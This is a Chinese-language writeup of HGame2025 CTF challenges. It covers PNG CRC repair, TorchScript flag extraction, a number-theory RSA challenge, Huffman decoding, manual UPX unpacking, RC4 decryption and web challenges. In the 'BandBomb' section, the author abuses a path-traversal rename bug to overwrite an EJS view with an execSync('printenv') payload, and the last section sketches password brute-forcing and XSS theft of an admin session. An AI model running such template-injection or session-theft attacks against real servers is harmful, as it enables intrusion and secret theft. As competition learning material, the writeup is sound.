

# HGame2025 St4rr Writeup

---

## 签到

---

TEST NC

从这里开始的序章

## Misc

---

### Hakuya Want A Girl Friend

一眼压缩包，把十六进制导入010，看到结尾有个倒过来的png

提取出这个png以后发现crc有问题，爆破一下正确的宽高

```
import binascii
import struct
crcbp = open("1.png", "rb").read() #填入图片名
crc32frombp = int(crcbp[29:33].hex(), 16)
print(crc32frombp)

for i in range(10000):
    for j in range(10000):
        data = crcbp[12:16] + \
            struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
        crc32 = binascii.crc32(data) & 0xffffffff
        # print(crc32)
        if(crc32 == crc32frombp):
            print(i, j)
            print('hex:', hex(i), hex(j))
            exit(0)
```

找到解压密码，解压得到flag

### Level 314 线性走廊中的双生实体

先确认一下模型结构

```
import torch
entity = torch.jit.load('entity.pt')
for name, module in entity.named_modules():
    print(name)
'''
linear1
security
relu
linear2
'''
```

security层的代码中涉及了flag

```
import torch
entity = torch.jit.load('entity.pt')
security_layer = entity.security
print(security_layer.code)
```

security层代码

```
def forward(self,
            x: Tensor) -> Tensor:
    _0 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004),
1.0000000000000001e-05, 0.0001)
    if _0:
        _1 = annotate(List[str], [])
        flag = self.flag
        for _2 in range(torch.len(flag)):
            b = flag[_2]
            _3 = torch.append(_1, torch.chr(torch.__xor__(b, 85)))
        decoded = torch.join("", _1)
        print("Hidden:", decoded)
    else:
        pass
    if bool(torch.gt(torch.mean(x), 0.5)):
        _4 = annotate(List[str], [])
        fake_flag = self.fake_flag
        for _5 in range(torch.len(fake_flag)):
            c = fake_flag[_5]
            _6 = torch.append(_4, torch.chr(torch.sub(c, 3)))
        decoded0 = torch.join("", _4)
        print("Decoy:", decoded0)
    else:
        pass
    return x
```

为什么要费心输入呢，直接输出flag它不香么()

```
import torch
print(''.join(chr(i^85) for i in torch.jit.load('entity.pt').security.flag))
#flag{s0_th1s_1s_r3al_s3cr3t}
```

# Computer cleaner

## 题目

给了个虚拟机，直接vmware挂载

不用多想，直奔/var/www/html先看看

uploads/shell.php里面找到第一段flag

查看upload\_log.txt，找到攻击者ip

访问一下就可以看到第二段flag

从上面的日志中还可以看出第三段flag的位置

# Crypto

## sieve

## 题目

```
#sage
from Crypto.Util.number import bytes_to_long
from sympy import nextprime

FLAG = b'hgame{xxxxxxxxxxxxxxxxxxxxxxxxx}'
m = bytes_to_long(FLAG)

def trick(k):
    if k > 1:
        mul = prod(range(1,k))
        if k - mul % k - 1 == 0:
            return euler_phi(k) + trick(k-1) + 1
        else:
            return euler_phi(k) + trick(k-1)
    else:
        return 1

e = 65537
p = q = nextprime(trick(e^2//6)<<128)
n = p * q
enc = pow(m, e, n)
print(f'{enc=}')
#enc=244929409747471413653014009978459273276644448166527803806948446666550615396
7851063209402336025065476172617376546
```

一看就是算法爷出的题

用杜教筛算欧拉函数的前缀和，直接把oi-wiki的代码拿来用

```
#include <cstring>
#include <iostream>
#include <map>
using namespace std;
constexpr int MAXN = 2000010;
long long T, n, pri[MAXN], cur, mu[MAXN], sum_mu[MAXN];
bool vis[MAXN];
map<long long, long long> mp_mu;

long long S_mu(long long x) { // 求mu的前缀和
    if (x < MAXN) return sum_mu[x];
    if (mp_mu[x]) return mp_mu[x]; // 如果map中已有该大小的mu值，则可直接返回
    long long ret = (long long)1;
    for (long long i = 2, j; i <= x; i = j + 1) {
        j = x / (x / i);
        ret -= S_mu(x / i) * (j - i + 1);
    }
    return mp_mu[x] = ret; // 路径压缩，方便下次计算
}

long long S_phi(long long x) { // 求phi的前缀和
    long long ret = (long long)0;
    long long j;
    for (long long i = 1; i <= x; i = j + 1) {
        j = x / (x / i);
        ret += (S_mu(j) - S_mu(i - 1)) * (x / i) * (x / i);
    }
    return (ret - 1) / 2 + 1;
}

int main() {
    cin.tie(nullptr)->sync_with_stdio(false);
    cin >> T;
    mu[1] = 1;
    for (int i = 2; i < MAXN; i++) { // 线性筛预处理mu数组
        if (!vis[i]) {
            pri[++cur] = i;
            mu[i] = -1;
        }
        for (int j = 1; j <= cur && i * pri[j] < MAXN; j++) {
            vis[i * pri[j]] = true;
            if (i % pri[j])
                mu[i * pri[j]] = -mu[i];
            else {
                mu[i * pri[j]] = 0;
                break;
            }
        }
    }
    for (int i = 1; i < MAXN; i++)
        sum_mu[i] = sum_mu[i - 1] + mu[i]; // 求mu数组前缀和
    while (T--) {
        cin >> n;
```

```

    cout << S_phi(n) << ' ' << S_mu(n) << '\n';
}
return 0;
}
//155763335410704472

```

然后用埃拉托斯特尼筛计算质数个数

```

from Crypto.Util.number import long_to_bytes
from sympy import nextprime
import gmpy2
import numpy as np
def count_primes(limit):
    is_prime = np.ones(limit + 1, dtype=bool)
    is_prime[0:2] = False
    for current in range(2, int(np.sqrt(limit)) + 1):
        if is_prime[current]:
            is_prime[current*current:limit+1:current] = False
    return np.sum(is_prime)
upper_limit = (65537**2) // 6
prime_count = count_primes(upper_limit)
result=155763335410704472+int(prime_count)
enc=2449294097474714136530140099784592732766444481665278038069484466665506153967
851063209402336025065476172617376546
p=nextprime(result<<128)
phi=p*(p-1)
d=gmpy2.invert(65537,phi)
m=long_to_bytes(pow(enc,d,p*p))
print(m)
#hgame{sieve_is_n0t_that_HaRd}

```

## Reverse

### Compress dot new

根据题意用ai一把梭

题目

```
def "into b" [] {let arg = $in;0..(( $arg|length ) - 1)|each {|i|$arg|bytes at
$i..$i|into int}};def gss [] {match $in {{s:$s,w:$w} => [$s],
{a:$a,b:$b,ss:$ss,w:$w} => $ss}};def gw [] {match $in {{s:$s,w:$w} => $w,
{a:$a,b:$b,ss:$ss,w:$w} => $w}};def oi [v] {match $in {[ ] => [$v],[h,..$t] =>
{if $v.w < $h.w {[ $v,$h] ++ $t} else {[ $h] ++ ($t|oi $v)}}}};def h [] {match $in
{[ ] => [ ],[$n] => $n,[$f,$sn,..$r] => {$r|oi {a:$f,b:$sn,ss:(( $f|gss) ++
($sn|gss)),w:(( $f|gw) + ($sn|gw))}|h}}};def gc [] {def t [nd, pth, cd] {match $nd
{{s:$s,w:$_} => ($cd|append {s:$s,c:$pth}),{a:$a,b:$b,ss:$_,w:$_} => {t $b
($pth|append 1) (t $a ($pth|append 0) $cd)}}};t $in [ ] []|each {|e|{s:$e.s,cs:
($e.c|each {|c|$c|into string}|str join)}}};def sk [] {match $in {null => null,
{s:$s,w:$_} => {s:$s},{a:$a,b:$b,ss:$_,w:$_} => {a:($a|sk),b:($b|sk)}}};def bf []
{$in|into b|reduce -f (0..255|reduce -f [ ] {|i,a|$a|append 0}) {|b,a|$a|update $b
(($a|get $b) + 1)}|enumerate|filter {|e|$e.item > 0}|each {|e|
{s:$e.index,w:$e.item}}};def enc [cd] {$in|into b|each {|b|$cd|filter {|e|$e.s ==
$b}|first|get "cs"}|str join};def compress []: binary -> string {let t =
$in|bf|h;[( $t|sk|to json --raw), ($in|enc ($t|gc))]|str join "\n"}

# source compress.nu; open ./flag.txt --raw | into binary | compress | save
enc.txt
```

enc.txt

```
{ "a": { "a": { "a": { "a": { "s": 125 }, "b": { "a": { "s": 119 }, "b": { "s": 123 } } }, "b": { "a": {
"s": 104 }, "b": { "s": 105 } } }, "b": { "a": { "s": 101 }, "b": { "s": 103 } } }, "b": { "a": { "a": { "a":
{s": 10 }, "b": { "s": 13 } }, "b": { "s": 32 } }, "b": { "a": { "s": 115 }, "b": { "s": 116 } } } }, "b":
{ "a": { "a": { "a": { "a": { "s": 46 }, "b": { "s": 48 } }, "b": { "a": { "a": { "s": 76 }, "b":
{s": 78 } }, "b": { "a": { "s": 83 }, "b": { "a": { "s": 68 }, "b": { "s": 69 } } } }, "b": { "a": { "a":
{s": 44 }, "b": { "a": { "s": 33 }, "b": { "s": 38 } } }, "b": { "s": 45 } }, "b": { "a": { "a":
{s": 100 }, "b": { "a": { "s": 98 }, "b": { "s": 99 } } }, "b": { "a": { "a": { "s": 49 }, "b":
{s": 51 } }, "b": { "s": 97 } } } }, "b": { "a": { "a": { "a": { "s": 117 }, "b": { "s": 118 } }, "b": { "a":
{ "a": { "s": 112 }, "b": { "s": 113 } }, "b": { "s": 114 } } }, "b": { "a": { "a": { "s": 108 }, "b":
{s": 109 } }, "b": { "a": { "s": 110 }, "b": { "s": 111 } } } } } } }
00010001110111111010010000011100010111000100111000110000100010111001110010011011
0101011110111011001101000111011010011101111011101100111011001111001111011011
10111011010110011110110011110001110011011110000110011000010110111011000111001010
0111001011100111100001100010100101000000010010100010001001111110110010111010101
0001111010001101100011101010110100111111110011111101101010110000110111010110111
1110100100111100100010110101111111111001100010101011011100100111110001101101011
01111010000011110100000110110101011000111111000110101001011100000110111100000010
0101000100010111000111001110010111010111100010101011010111100000110011110001110
0101110101111100010110101110000010100000010110001111011100011101111101010100100
1110101110010001111001001011011110111011101011110110001111010101110010001011100
10010111000101101010000111010100010111101010011000111010101110110001101101100001
101000000101100011101111111100010101011100000
```

exp:

```
import json

def decode_huffman(encoded_str, huffman_tree):
    current_node = huffman_tree
    decoded_bytes = bytearray()

    for bit in encoded_str:
        if bit == '0':
```

```

        current_node = current_node['a']
    else: # bit is '1'
        current_node = current_node['b']

    if 's' in current_node: # Reached a leaf node
        decoded_bytes.append(current_node['s'])
        current_node = huffman_tree # Reset to root for next character

    return bytes(decoded_bytes)

def read_encoded_file(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()
        huffman_tree_json = lines[0].strip() # Read the first line as Huffman
tree
        encoded_str = ''.join(lines[1:]).strip() # The rest is the encoded
string

        huffman_tree = json.loads(huffman_tree_json)
        return huffman_tree, encoded_str

def main():
    input_file = 'enc.txt' # Path to your encoded file
    output_file = 'decoded_output.txt'

    huffman_tree, encoded_str = read_encoded_file(input_file)
    decoded_data = decode_huffman(encoded_str, huffman_tree)

    with open(output_file, 'wb') as file:
        file.write(decoded_data)

if __name__ == '__main__':
    main()

```

## Turtle

第一次做手动upx脱壳，这里就写详细一点，参考[这篇文章](#)

用x64dbg打开，查看断点

按两次F9到push的断点

F7单步调试走完push

在RSP上点击在内存窗口中转到

右下角设置硬件断点

F9运行到断点处

看到jmp, 设置断点, F9

F7步入

这里就是程序本体, 开始dump

点击scylla插件

IAT Autosearch然后Get Imports

删除打叉的节点

先Dump然后对之前Dump下来的东西Fix Dump

至此脱壳完成

接下来用IDA看一下

跟进函数以后再分析可以得知这个程序的流程大概是先用普通RC4对密钥加密验证输入的密钥, 然后用魔改过的RC4和正确的密钥对密文加密验证输入的密文

exp:

解密钥

```
def rc4_init(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        s[i], s[j] = s[j], s[i]
    return s

def rc4_encrypt(s, plaintext):
    i = j = 0
    output = []
    for byte in plaintext:
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i] # swap
        k = s[(s[i] + s[j]) % 256]
        output.append(byte ^ k)
    return bytes(output)

ciphertext = [-51,-113,37,61,-31]
ciphertext_bytes = bytes([x if x >= 0 else x + 256 for x in ciphertext])+b'QJ'
key = "yekyek"
```



```

S_box = rc4_init(key)
plaintext = rc4_encrypt(S_box, ciphertext_bytes)
print("解密后的文本:", plaintext)
try:
    print("解密后的文本（字符串形式）:", plaintext.decode('utf-8'))
except UnicodeDecodeError:
    print("无法以UTF-8格式解码结果，可能需要其他编码格式或是二进制数据")
#ecg4ab6

```

解密文

```

def rc4_init(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        s[i], s[j] = s[j], s[i]
    return s

def rc4_encrypt(S, plaintext):
    i = j = 0
    output = []
    for byte in plaintext:
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        K = s[(s[i] + s[j]) % 256]
        output.append(byte + K)
    for i in range(len(output)):
        output[i] = output[i] % 256
    return bytes(output)

ciphertext = [-8, -43, 98, -49, 67, -70, -62, 35, 21, 74, 81, 16, 39, 16, -79,
-49, -60, 9, -2, -29, -97, 73, -121, -22, 89, -62, 7, 59, -87, 17, -63, -68, -3,
75, 87, -60, 126, -48, -86, 10]
ciphertext_bytes = bytes([x if x >= 0 else x + 256 for x in ciphertext])
key = "ecg4ab6"
S_box = rc4_init(key)
plaintext = rc4_encrypt(S_box, ciphertext_bytes)
print("解密后的文本:", plaintext)
try:
    print("解密后的文本（字符串形式）:", plaintext.decode('utf-8'))
except UnicodeDecodeError:
    print("无法以UTF-8格式解码结果，可能需要其他编码格式或是二进制数据")
#hgame{y0u'r3_re411y_g3t_0ut_of_th3_upx!}

```

## Web

### Level 24 Pacman

在index.js里面可以看到疑似flag的东西

## Level 47 BandBomb

题目给出的app.js源码：

```
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');

  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});
```

```

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({
      message: '文件上传成功',
      filename: req.file.filename
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

```

不难发现rename处存在目录穿越，而且可以通过访问/static/xxx来将对应的文件下载下来，因此我们只要利用漏洞穿越将想查看的文件放到public文件夹中即可

访问/static/1.ejs得到mortis.ejs:

```

<!DOCTYPE html>
<html>
<head>
  <title>Ave Mujica</title>
  <meta charset="UTF-8">
  <style>
    :root {
      --bg-color: #1a1a1a;
      --text-color: #e0e0e0;
      --accent-color: #ff4444;
      --border-color: #333;
      --hover-color: #2a2a2a;
    }
  </style>

```

```
--button-bg: #ff4444;
--button-hover: #ff6666;
}

body {
  padding: 20px;
  margin: 0;
  font-family: 'Segoe UI', Arial, sans-serif;
  background-color: var(--bg-color);
  color: var(--text-color);
  min-height: 100vh;
  background-image: url('/static/UmiTaki.webp');
  background-size: cover;
  background-position: center;
  background-attachment: fixed;
  position: relative;
}

body::before {
  content: '';
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background: rgba(26, 26, 26, 0.85);
  z-index: 0;
}

.container {
  max-width: 800px;
  margin: 0 auto;
  padding: 20px;
  position: relative;
  z-index: 1;
}

h2 {
  color: var(--accent-color);
  font-size: 2em;
  margin-bottom: 1.5em;
  text-transform: uppercase;
  letter-spacing: 2px;
  text-align: center;
  text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3);
}

.upload-section {
  padding: 2em;
  margin-bottom: 2em;
  text-align: center;
}

.upload-form {
  display: flex;
  justify-content: center;
  align-items: center;
  gap: 20px;
```

```

}

.file-input-container {
  position: relative;
}

input[type="file"] {
  display: none;
}

.file-input-label {
  display: inline-block;
  padding: 12px 24px;
  color: white;
  cursor: pointer;
  text-transform: uppercase;
  letter-spacing: 1px;
  font-size: 0.9em;
  white-space: nowrap;
  background-color: var(--accent-color);
  border-radius: 8px;
  box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3);
}

button[type="submit"] {
  color: white;
  border: none;
  padding: 12px 24px;
  cursor: pointer;
  text-transform: uppercase;
  letter-spacing: 1px;
  font-size: 0.9em;
  white-space: nowrap;
  background-color: var(--accent-color);
  border-radius: 8px;
  box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3);
}

.meme-section {
  padding: 2em;
  margin-bottom: 2em;
  text-align: center;
}

.file-list {
  margin-bottom: 2em;
}

.file-item {
  margin: 10px 0;
  padding: 15px 20px;
  border-radius: 5px;
  transition: all 0.3s ease;
  border: 2px solid var(--accent-color);
  background: transparent;
}

.file-item:hover {

```

```

        background: var(--accent-color);
        transform: translateX(5px);
    }

    .file-name {
        font-size: 1.1em;
        color: var(--text-color);
    }

    .meme-image {
        max-width: 200px;
        transition: transform 0.3s ease;
        margin-top: 2em;
        border-radius: 10px;
        box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3);
    }

    .meme-image:hover {
        transform: scale(1.05);
    }

    .selected-file-name {
        position: absolute;
        bottom: -25px;
        left: 50%;
        transform: translateX(-50%);
        color: var(--accent-color);
        font-size: 0.9em;
        white-space: nowrap;
        max-width: 200px;
        overflow: hidden;
        text-overflow: ellipsis;
    }

    @keyframes fadeIn {
        from { opacity: 0; transform: translateY(20px); }
        to { opacity: 1; transform: translateY(0); }
    }

    .file-item {
        animation: fadeIn 0.5s ease forwards;
    }
</style>
</head>
<body>
    <div class="container">
        <h2>Ave Mujica ! ! ! !!</h2>

        <div class="upload-section">
            <form id="uploadForm" class="upload-form">
                <div class="file-input-container">
                    <label class="file-input-label" for="fileInput">
                        选择文件
                    </label>
                    <input id="fileInput" type="file" name="file" required>
                    <div id="selectedFileName" class="selected-file-name"></div>
                </div>
                <button type="submit">上传文件</button>
            </form>
        </div>
    </div>

```

```

        </form>
    </div>
    <div class="meme-section">
        <div id="fileList" class="file-list">
            <% if (files && files.length > 0) { %>
                <% files.forEach(function(file) { %>
                    <div class="file-item">
                        <span class="file-name"><%= file %></span>
                    </div>
                <% }); %>
            <% } else { %>
                <p style="text-align: center; color:
rgba(255,255,255,0.5);">我们的乐队蒸蒸日上</p>
                <p style="display: none;">只是UmiTaki而已</p>
            <% } %>
        </div>
        
    </div>
</div>

<script>
    // 显示选择的文件名
    document.getElementById('fileInput').addEventListener('change',
function(e) {
    const fileName = e.target.files[0]?.name || '';
    document.getElementById('selectedFileName').textContent = fileName;
});

    // 上传文件
    document.getElementById('uploadForm').onsubmit = async (e) => {
        e.preventDefault();
        const formData = new FormData(e.target);

        try {
            const response = await fetch('/upload', {
                method: 'POST',
                body: formData
            });
            const result = await response.json();
            if (result.error) {
                alert(result.error);
            } else {
                alert(result.message);
                window.location.reload();
            }
        } catch (err) {
            alert('上传失败: ' + err.message);
        }
    };
</script>
</body>
</html>

```

试了下发现常见的地方都找不到flag，那么flag应该是在环境变量中，给这个ejs加点料进去再传回去

```

<!DOCTYPE html>
<html>

```

```
<head>
  <title>Ave Mujica</title>
  <meta charset="UTF-8">
  <style>
    :root {
      --bg-color: #1a1a1a;
      --text-color: #e0e0e0;
      --accent-color: #ff4444;
      --border-color: #333;
      --hover-color: #2a2a2a;
      --button-bg: #ff4444;
      --button-hover: #ff6666;
    }

    body {
      padding: 20px;
      margin: 0;
      font-family: 'Segoe UI', Arial, sans-serif;
      background-color: var(--bg-color);
      color: var(--text-color);
      min-height: 100vh;
      background-image: url('/static/UmiTaki.webp');
      background-size: cover;
      background-position: center;
      background-attachment: fixed;
      position: relative;
    }

    body::before {
      content: '';
      position: fixed;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background: rgba(26, 26, 26, 0.85);
      z-index: 0;
    }

    .container {
      max-width: 800px;
      margin: 0 auto;
      padding: 20px;
      position: relative;
      z-index: 1;
    }

    h2 {
      color: var(--accent-color);
      font-size: 2em;
      margin-bottom: 1.5em;
      text-transform: uppercase;
      letter-spacing: 2px;
      text-align: center;
      text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3);
    }

    .upload-section {
```



```
padding: 2em;
margin-bottom: 2em;
text-align: center;
}

.upload-form {
display: flex;
justify-content: center;
align-items: center;
gap: 20px;
}

.file-input-container {
position: relative;
}

input[type="file"] {
display: none;
}

.file-input-label {
display: inline-block;
padding: 12px 24px;
color: white;
cursor: pointer;
text-transform: uppercase;
letter-spacing: 1px;
font-size: 0.9em;
white-space: nowrap;
background-color: var(--accent-color);
border-radius: 8px;
box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3);
}

button[type="submit"] {
color: white;
border: none;
padding: 12px 24px;
cursor: pointer;
text-transform: uppercase;
letter-spacing: 1px;
font-size: 0.9em;
white-space: nowrap;
background-color: var(--accent-color);
border-radius: 8px;
box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3);
}

.meme-section {
padding: 2em;
margin-bottom: 2em;
text-align: center;
}

.file-list {
margin-bottom: 2em;
}
```

```

.file-item {
  margin: 10px 0;
  padding: 15px 20px;
  border-radius: 5px;
  transition: all 0.3s ease;
  border: 2px solid var(--accent-color);
  background: transparent;
}

.file-item:hover {
  background: var(--accent-color);
  transform: translateX(5px);
}

.file-name {
  font-size: 1.1em;
  color: var(--text-color);
}

.meme-image {
  max-width: 200px;
  transition: transform 0.3s ease;
  margin-top: 2em;
  border-radius: 10px;
  box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3);
}

.meme-image:hover {
  transform: scale(1.05);
}

.selected-file-name {
  position: absolute;
  bottom: -25px;
  left: 50%;
  transform: translateX(-50%);
  color: var(--accent-color);
  font-size: 0.9em;
  white-space: nowrap;
  max-width: 200px;
  overflow: hidden;
  text-overflow: ellipsis;
}

@keyframes fadeIn {
  from { opacity: 0; transform: translateY(20px); }
  to { opacity: 1; transform: translateY(0); }
}

.file-item {
  animation: fadeIn 0.5s ease forwards;
}
</style>
</head>
<body>
  <div class="container">
    <h2>Ave Mujica ! ! ! !!</h2>

```

```

<div class="upload-section">
  <form id="uploadForm" class="upload-form">
    <div class="file-input-container">
      <label class="file-input-label" for="fileInput">
        选择文件
      </label>
      <input id="fileInput" type="file" name="file" required>
      <div id="selectedFileName" class="selected-file-name"></div>
    </div>
    <button type="submit">上传文件</button>
  </form>
</div>
<pre>
<%-
process.mainModule.require('child_process').execSync('printenv').toString() %>
</pre>
<div class="meme-section">
  <div id="fileList" class="file-list">
    <% if (files && files.length > 0) { %>
      <% files.forEach(function(file) { %>
        <div class="file-item">
          <span class="file-name"><%= file %></span>
        </div>
      <% }); %>
    <% } else { %>
      <p style="text-align: center; color:
rgba(255,255,255,0.5);">我们的乐队蒸蒸日上</p>
      <p style="display: none;">只是UmiTaki而已</p>
    <% } %>
  </div>
  
</div>

<script>
  // 显示选择的文件名
  document.getElementById('fileInput').addEventListener('change',
function(e) {
  const fileName = e.target.files[0]?.name || '';
  document.getElementById('selectedFileName').textContent = fileName;
});

  // 上传文件
  document.getElementById('uploadForm').onsubmit = async (e) => {
    e.preventDefault();
    const formData = new FormData(e.target);

    try {
      const response = await fetch('/upload', {
        method: 'POST',
        body: formData
      });
      const result = await response.json();
      if (result.error) {
        alert(result.error);
      } else {
        alert(result.message);
        window.location.reload();
      }
    }
  }
</script>

```

```
        }  
      } catch (err) {  
        alert('上传失败: ' + err.message);  
      }  
    };  
</script>  
</body>  
</html>
```

## Level 69 MysteryMessageBoard

爆破得密码是888888

看题目描述就是xss

访问/admin，让机器人登录上去访问一下得到admin的session

用这个session去访问/flag即可得到flag